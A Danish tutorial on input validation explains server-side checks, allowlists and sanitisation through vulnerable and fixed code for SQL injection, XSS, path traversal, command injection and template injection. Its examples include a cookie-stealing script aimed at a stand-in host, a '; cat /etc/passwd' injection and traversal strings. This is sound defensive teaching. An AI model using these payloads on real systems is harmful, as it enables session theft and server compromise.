Inputvalidering: Den første forsvarslinje mod dårlig data og sikkerhedsbrister
Inputvalidering er et fundamentalt koncept inden for softwareudvikling og it-sikkerhed. Det handler om at sikre, at den data et system modtager – typisk fra brugere, eksterne API’er eller andre systemer – er i det korrekte format, har den rette længde, tilhører den rigtige type og overholder applikationens forretningsregler, inden systemet behandler den.
Mangelfuld inputvalidering er konsekvent rangeret som én af de hyppigste og mest kritiske kilder til sårbarheder i moderne applikationer. OWASP kategoriserer den under A03:2021 – Injection, og MITRE har tildelt den sin egen toplevel-svaghed: CWE-20 – Improper Input Validation. Konsekvenserne spænder fra simple applikationsnedbrud til fuldstændig serverovertagelse.
1. Hvorfor validerer vi? Trusselsbilledet
Alle input-grænseflader i en applikation er potentielle angrebsvektorer. Forestil dig et simpelt aldersfelt på en hjemmeside – systemet forventer et heltal mellem 1 og 120. Hvad sker der, hvis en angriber i stedet sender:
- En tom streng (
"") - Et negativt tal (
-1) - Et tal på 9 cifre (
999999999) - En SQL-kommando (
1 OR 1=1 --) - Et stykke JavaScript-kode (
<script>alert(1)</script>) - En stifinder-sti (
../../etc/passwd)
Hver af disse scenarier repræsenterer en reel angrebsvektor. Uden korrekt validering og håndtering kan systemet:
- Bryde ned med en ubehandlet exception, der lækker tekniske detaljer til angriberen.
- Gemme den ondsindede data i databasen, der eksploderer i ansigtet på applikationen på et senere tidspunkt.
- Videresende den direkte til en fortolker (SQL, shell, HTML-renderer), der udfører den som kode.
Grundlaget for al sikker softwareudvikling er den simple erkendelse: Alt eksternt input er upålideligt, indtil det modsatte er bevist.
2. Klient- vs. Server-validering
Når man taler om hvor validering foregår, er der to primære lag: klienten og serveren.
Klientvalidering – den hurtige brugeroplevelse
Klientvalidering foregår i brugerens browser, typisk vha. HTML5-attributter (required, pattern, maxlength, type="email") eller JavaScript, inden dataene overhovedet sendes mod serveren.
Fordele:
- Øjeblikkelig feedback: Brugeren ved med det samme, om et felt er udfyldt forkert – uden at vente på et serversvar.
- Reduceret serverbelastning: Åbenbart fejlbehæftede anmodninger afvises lokalt og belaster aldrig serveren.
Den kritiske svaghed: Klientvalidering kan omgås fuldstændig. En angriber kan:
- Slå JavaScript fra i browseren.
- Bruge et proxy-værktøj som Burp Suite til at opsnappe og redigere HTTP-anmodningen, efter browseren har valideret men inden den rammer serveren.
- Bruge
curl,Postmaneller et Python-script til at sende HTTP-forespørgsler direkte, der aldrig passerer browseren.
Konklusion: Klientvalidering er et UX-lag, ikke et sikkerhedslag.
Servervalidering – den uomgåelige portvagt
Servervalidering sker på applikationsserveren, efter den har modtaget anmodningen fra klienten, og er den eneste form for validering, der har reel sikkerhedsmæssig betydning.
Serveren skal agere som en zero-trust-enhed: ethvert indgående datapunkt behandles som potentielt fjendtligt, uanset hvad klienten hævder at have valideret. Der er ingen undtagelser.
Defense-in-Depth: Validering i begge lag
I praksis implementeres begge lag – ikke fordi klientvalidering er sikker, men fordi det giver den bedste brugeroplevelse og reducerer unødvendig serverbelastning for legitime brugere. Sikkerheden hviler udelukkende på serverens validering.
[Bruger] → [Browser-validering: UX] → [Netværk] → [Server-validering: SIKKERHED] → [Database/Logik]
3. Typer af validering
Inputvalidering er ikke én enkelt kontrol – det er en lagdelt disciplin med flere distinkte dimensioner.
3.1 Typevalidering
Kontroller at inputtet er af den forventede datatype.
# Python eksempel: typevalidering med try/except
try:
alder = int(request.form['alder'])
except ValueError:
return "Fejl: Alder skal være et heltal.", 400
OBS: Sprog opfører sig forskelligt ved fejlbehæftet typekonvertering. Python kaster en ValueError, mens PHP’s intval("banan") stille returnerer 0 – en adfærd, der kan skabe subtile logikfejl, hvis den ikke håndteres eksplicit.
3.2 Længdevalidering
Begræns inputlænden i begge ender: ingen tomme felter, men heller ikke uendeligt lange strenge.
kommentar = request.form.get('kommentar', '')
if len(kommentar) < 1 or len(kommentar) > 500:
return "Kommentar skal være mellem 1 og 500 tegn.", 400
Manglende øvregrænse på en tekststreng kan udnyttes til:
- Buffer overflow i lavniveausprog (C/C++).
- ReDoS (Regular Expression Denial of Service) ved at sende enormt lange strenge til komplekse regex-mønstre.
- Lagring af store mængder data for at udtømme diskpladsen (Disk Exhaustion).
3.3 Formatvalidering med Regulære Udtryk (Regex)
Formatvalidering verificerer at inputtet overholder et specifikt syntaktisk mønster. Regex er det primære redskab her.
Et regulært udtryk definerer et præcist mønster, en streng skal matche. Det er effektivt, platformsuafhængigt og kan “forud-kompileres” (pre-compiled) for maksimal hastighed.
Praktiske eksempler:
| Kontekst | Regex-mønster | Forklaring |
|---|---|---|
| Dansk CPR (simple) | ^\d{6}-\d{4}$ | 6 cifre, bindestreg, 4 cifre |
| Dansk nummerplade | ^[A-Z]{2}\s\d{5}$ | 2 bogstaver, mellemrum, 5 cifre |
| IPv4-adresse | ^(\d{1,3}\.){3}\d{1,3}$ | Fire oktet-grupper |
| Hexadecimalt ID | ^[0-9a-fA-F]{32}$ | 32 hex-tegn (MD5-format) |
import re
EMAIL_REGEX = re.compile(r'^[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}$')
def valider_email(email: str) -> bool:
return bool(EMAIL_REGEX.match(email))
Advarsel – ReDoS: Overly komplekse regex-mønstre med nested quantifiers (f.eks. (a+)+) kan misbruges til at fremkalde katastrofal backtracking, der hænger serveren. Test altid dine regex-mønstre med input designet til worst-case backtracking.
3.4 Intervalvalidering (Range validation)
Numeriske værdier skal falde inden for acceptable grænser.
if not (0 <= overfoerselsbeloeb <= 100_000):
return "Beløb skal ligge mellem 0 og 100.000 kr.", 400
3.5 Allowlist vs. Denylist
Dette er en af de vigtigste principielle beslutninger i inputvalidering:
Denylist (Sortliste / Blocklist):
Afviser specifikt kendte “farlige” input – f.eks. blokering af strengen <script> eller SELECT.
Problem: Angribere er kreative. Denylister er altid ufuldstændige. En angriber kan omgå <script>-filtrering med <ScRiPt>, <img onerror="..."> eller hundredvis af andre varianter. At stole på en denylist som primært forsvar er generelt en dårlig strategi.
Allowlist (Hvidliste / Allowlist): Tillader kun input, der eksplicit matcher et defineret, sikkert mønster og afviser alt andet.
GYLDIGE_KATEGORIER = {"nyheder", "teknologi", "sikkerhed", "kultur"}
kategori = request.args.get('kategori', '')
if kategori not in GYLDIGE_KATEGORIER:
return "Ugyldig kategori.", 400
Tommelfingerregel: Brug altid allowlist-validering, hvor det er muligt. Brug denylist kun som et supplerende lag, aldrig som den primære forsvarsmekanisme.
4. Validering vs. Sanitering – den vigtige distinktion
Validering og sanitering er beslægtede, men fundamentalt forskellige operationer:
| Validering | Sanitering | |
|---|---|---|
| Hvad? | Afgør om input er acceptabelt | Renser/omdanner input til en sikker form |
| Resultat | Accept eller afvisning | Modificeret data |
| Eksempel | Tjekker om et felt kun indeholder tal | Fjerner HTML-tags fra fri tekst |
Hvornår validerer man, og hvornår sanerer man?
- Afvisning (Validation) er at foretrække for strukturerede data: heltal, datoer, e-mails, brugernavne. Data enten er lovlig eller ikke.
- Sanitering er relevant for ustruktureret fritekst, der skal accepteres (f.eks. kommentarer eller blogindlæg), men skal sikres inden visning eller behandling.
Et typisk eksempel: Et kommentarfelt accepterer fritekst, men inden visning HTML-encodes outputtet, så <script>alert(1)</script> vises som den bogstavelige tekst <script>alert(1)</script> og ikke udføres af browseren. Dette er output-encoding – og det er teknisk set ikke inputvalidering, men en nødvendig kompagnon til den.
5. Angrebsvektorer der udnytter manglende inputvalidering
Manglende inputvalidering er roden til en lang række af de alvorligste angrebsklasser. Her er de vigtigste:
5.1 SQL Injection (SQLi)
CWE-89 | OWASP A03:2021
Hvis brugerinput direkte concateneres ind i en SQL-forespørgsel uden validering eller parameterisering, kan en angriber injicere SQL-kode.
# SÅRBAR kode
query = "SELECT * FROM users WHERE username = '" + username + "'"
# Angriber sender: username = "admin' OR '1'='1' --"
# Resulterende query: SELECT * FROM users WHERE username = 'admin' OR '1'='1' --'
# Effekt: Returnerer alle brugere, omgår login
Forsvar: Prepared Statements / Parameterized Queries er den eneste rigtige løsning. Inputvalidering (f.eks. afvisning af anførselstegn) er et svagt, utilstrækkeligt supplement.
# SIKKER kode med parameterized query (Python + sqlite3)
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
5.2 Cross-Site Scripting (XSS)
CWE-79 | OWASP A03:2021
Hvis brugerinput gemmes og efterfølgende vises i en HTML-side uden korrekt encoding, kan en angriber injicere kode, der eksekveres i andre brugeres browsere.
<!-- Angriber gemmer følgende som sit "brugernavn": -->
<script>document.location='https://ondsindet.dk/steal?c='+document.cookie</script>
<!-- Når siden viser brugernavnet uden encoding, stjæler scriptet alle andres cookies -->
Forsvar: Output-encoding (HTML-escape) af alt dynamisk indhold inden visning. Inputvalidering (afvisning af < og >) kan hjælpe for strukturerede felter, men output-encoding er det korrekte primære forsvar.
5.3 Path Traversal
CWE-22
Hvis en applikation accepterer filnavne eller stier fra brugeren og bruger dem direkte til at tilgå filer på serveren, kan en angriber navigere uden for den tilladte mappe.
# SÅRBAR kode
filnavn = request.args.get('fil')
with open('/var/www/uploads/' + filnavn) as f:
return f.read()
# Angriber sender: fil=../../etc/passwd
# Applikationen læser nu: /var/www/uploads/../../etc/passwd → /etc/passwd
Forsvar: Valider mod en allowlist af tilladte filnavne, brug os.path.realpath() til at resolv den absolutte sti og verificer, at den er inden for den tilladte rod-mappe.
import os
BASE_DIR = '/var/www/uploads/'
filnavn = request.args.get('fil', '')
# Beregn den absolutte sti og tjek den starter med BASE_DIR
fuld_sti = os.path.realpath(os.path.join(BASE_DIR, filnavn))
if not fuld_sti.startswith(os.path.realpath(BASE_DIR)):
return "Adgang nægtet.", 403
5.4 Command Injection (OS Injection)
CWE-78
Hvis brugerinput sendes til shell-kommandoer som en del af en streng, kan angriberen eksekvere vilkårlige OS-kommandoer.
# SÅRBAR kode
import subprocess
ip = request.args.get('ip')
subprocess.run(f"ping -c 4 {ip}", shell=True)
# Angriber sender: ip=127.0.0.1; cat /etc/passwd
# Shell udfører: ping -c 4 127.0.0.1; cat /etc/passwd
Forsvar: Send aldrig brugerinput direkte til en shell. Brug biblioteksfunktioner med argumentlister frem for shell-strenge, eller valider input strengt med en allowlist (f.eks. kun tilladte IPv4-formater).
import subprocess, re
ip = request.args.get('ip', '')
# Allowlist: kun gyldige IPv4-adresser tillades
if not re.match(r'^(\d{1,3}\.){3}\d{1,3}$', ip):
return "Ugyldig IP-adresse.", 400
subprocess.run(["ping", "-c", "4", ip]) # Ingen shell=True
5.5 Server-Side Template Injection (SSTI)
CWE-94
Hvis brugerinput renderes direkte som en template (f.eks. i Jinja2 eller Twig), kan en angriber injicere template-direktiver og opnå Remote Code Execution.
# SÅRBAR kode (Flask + Jinja2)
from flask import render_template_string
navn = request.args.get('navn')
return render_template_string(f"<h1>Hej, {navn}!</h1>")
# Angriber sender: navn={{7*7}}
# Output: <h1>Hej, 49!</h1> ← template-koden er eksekveret
# Angriber sender: navn={{config.items()}}
# → Lækker applikationens hemmelige konfiguration
Forsvar: Send aldrig brugerinput direkte til en template-motor som en del af template-strengen. Overfør det altid som en kontekst-variabel.
# SIKKER kode
return render_template_string("<h1>Hej, {{ navn }}!</h1>", navn=navn)
6. Forretningslogikvalidering – det semantiske lag
Formatvalidering og typevalidering udgør det syntaktiske lag. De verificerer at data ser rigtigt ud. Men der er et dybere lag: forretningslogikvalidering, der verificerer, at data er rigtigt i systemets kontekst.
Eksempel: En bankoverførsel.
- Syntaktisk validering: “Er beløbet et positivt tal med maksimalt to decimaler?” ✓
- Forretningslogikvalidering: “Har afsenderen tilstrækkelig saldo? Er modtager-kontoen aktiv? Overstiger beløbet brugerens daglige transaktionslimit?” ✓✓✓
Mangler man det semantiske lag, opstår der Business Logic Vulnerabilities – fejl, der ikke handler om forkert input-format, men om misbrug af lovlige operationer. Klassiske eksempler:
- En e-handelsside, der accepterer negative mængder (
antal=-1) og dermed trækker penge fra ordre-totalen. - En bookingapplikation, der tillader at booke ressourcer fortid.
- En platform, der lader brugere opdatere andres profiler, fordi server-side ejerskabs-validering mangler.
7. Fejlhåndtering og informationslækage
Valideringslogikken er kun halvdelen af ligningen. Hvordan systemet reagerer på fejlbehæftet input er mindst ligeså vigtigt.
Hvad man ikke bør gøre:
Fejl: SQL-syntaksfejl i nærheden af 'admin'' ved linje 1 i /var/www/html/login.php
Denne besked fortæller angriberen: (1) applikationen er sårbar for SQLi, (2) den bruger PHP, (3) filstrukturen på serveren.
Hvad man bør gøre:
Din anmodning kunne ikke behandles. Kontakt support, hvis problemet fortsætter.
Internt logges den fulde fejl med stakspor og kontekst (IP-adresse, tidspunkt, inputværdi), men brugeren ser kun en generisk, neutral besked. Dette er secure error handling.
For legitime brugere skal fejlbeskeder til gengæld være præcise og handlingsanvisende:
- ❌ “Ugyldigt input.”
- ✅ “Adgangskoden skal være på mindst 12 tegn og indeholde mindst ét specialtegn (!, @, #, …).“
8. Validering i praksis – frameworks og biblioteker
Moderne udviklingsframeworks tilbyder built-in validerings-mekanismer, der er langt mere robuste og vedligeholdelsesvenlige end hjemmebrygget validering.
Python (Pydantic)
from pydantic import BaseModel, EmailStr, conint, validator
class BrugerRegistrering(BaseModel):
brugernavn: str
email: EmailStr
alder: conint(ge=18, le=120) # ge=greater-or-equal, le=less-or-equal
@validator('brugernavn')
def brugernavn_alfanumerisk(cls, v):
if not v.isalnum():
raise ValueError('Brugernavn må kun indeholde bogstaver og tal')
return v
Python (Flask-WTF / WTForms)
from wtforms import StringField, IntegerField
from wtforms.validators import DataRequired, Length, NumberRange, Regexp
class KommentarForm(FlaskForm):
forfatter = StringField('Forfatter', validators=[
DataRequired(),
Length(min=2, max=50),
Regexp(r'^[a-zA-ZæøåÆØÅ\s]+$', message="Kun bogstaver tilladt")
])
tekst = StringField('Kommentar', validators=[DataRequired(), Length(max=1000)])
JavaScript (Zod – Node.js / TypeScript)
import { z } from 'zod';
const BrugerSchema = z.object({
email: z.string().email(),
alder: z.number().int().min(18).max(120),
brugernavn: z.string().min(3).max(30).regex(/^[a-zA-Z0-9_]+$/)
});
const result = BrugerSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json(result.error.flatten());
}
Java (Bean Validation / Jakarta)
public class BrugerDto {
@NotBlank
@Size(min = 3, max = 30)
@Pattern(regexp = "^[a-zA-Z0-9_]+$")
private String brugernavn;
@Email
@NotNull
private String email;
@Min(18) @Max(120)
private int alder;
}
9. OWASP’s principper for inputvalidering
OWASP’s Input Validation Cheat Sheet opsummerer best practices i disse kerneprincipper:
- Valider på serveren – klientvalidering er kun UX.
- Brug allowlists frem for denylists – tillad kun det forventede.
- Valider alle input-kilder – ikke kun formularfelter, men også URL-parametre, HTTP-headers, cookies, API-payloads og fil-uploads.
- Kombiner validering med output-encoding – validering stopper ondsindede data ind, encoding neutraliserer dem ud.
- Fail securely – afvis tvivlsomme input; accepter det ikke, bare fordi du ikke er sikker.
- Log valideringsfejl – gentagne valideringsfejl fra én IP kan indikere et igangværende angreb.
10. Opsummering – lagdelt forsvar
Robust inputvalidering er aldrig én enkelt kontrol. Det er et sæt af sammensatte lag:
| Lag | Teknik | Formål |
|---|---|---|
| Typecheck | int(), schema-validering | Sikrer korrekt datatype |
| Længdecheck | len(), @Size | Forebygger buffer overflow, DoS |
| Formatcheck | Regex, @Pattern | Håndhæver syntaktisk korrekthed |
| Intervalcheck | @Min/@Max, conint | Sikrer semantisk gyldige tal |
| Allowlist | Enum, fast sæt af tilladte værdier | Eliminerer uventede input |
| Forretningslogik | Applikationslag | Verificerer semantisk lovlighed |
| Output-encoding | HTML-escape, parameterized queries | Neutraliserer injicerede payload |
| Fejlhåndtering | Generiske bruger-fejl, intern logging | Minimerer informationslækage |
Ingen af disse lag er tilstrækkelige alene. Tilsammen udgør de fundamentet for en sikker applikation.
Kilder
- OWASP Input Validation Cheat Sheet - Branchens primære reference til principper og teknikker for sikker inputvalidering.
- CWE-20: Improper Input Validation - MITRE’s kanoniske tekniske definition og klassificering af inputvalideringssvagheder.
- OWASP: Testing for Input Validation (WSTG-INPV) - OWASP’s systematiske testguide til validering af inputhåndtering i webapplikationer.
- NIST SP 800-53 (SI-10: Information Input Validation) - Styringsstandard for kontrol af systeminput i kritiske it-systemer.
- PortSwigger: Server-Side Template Injection - Dybdegående teknisk gennemgang af SSTI som konsekvens af manglende inputvalidering.
- CWE-89: SQL Injection - MITRE’s definition af SQL Injection-klassen.
- CWE-79: Cross-site Scripting - MITRE’s definition af XSS-klassen.
- CWE-22: Path Traversal - MITRE’s definition af Path Traversal-klassen.
- Regular Expressions Guide (MDN) - Teknisk reference til opbygning af Regex-mønstre.
- Pydantic dokumentation - Python-bibliotek til datavalidering via type-annotationer.
> Quiz: Test din viden
1. Hvad giver klientvalidering brugeren?
2. Hvem kan omgå klientvalidering?
3. Nævn ét angreb, som mangelfuld inputvalidering åbner op for.
4. Hvilken type validering er afgørende og ikke kan springes over?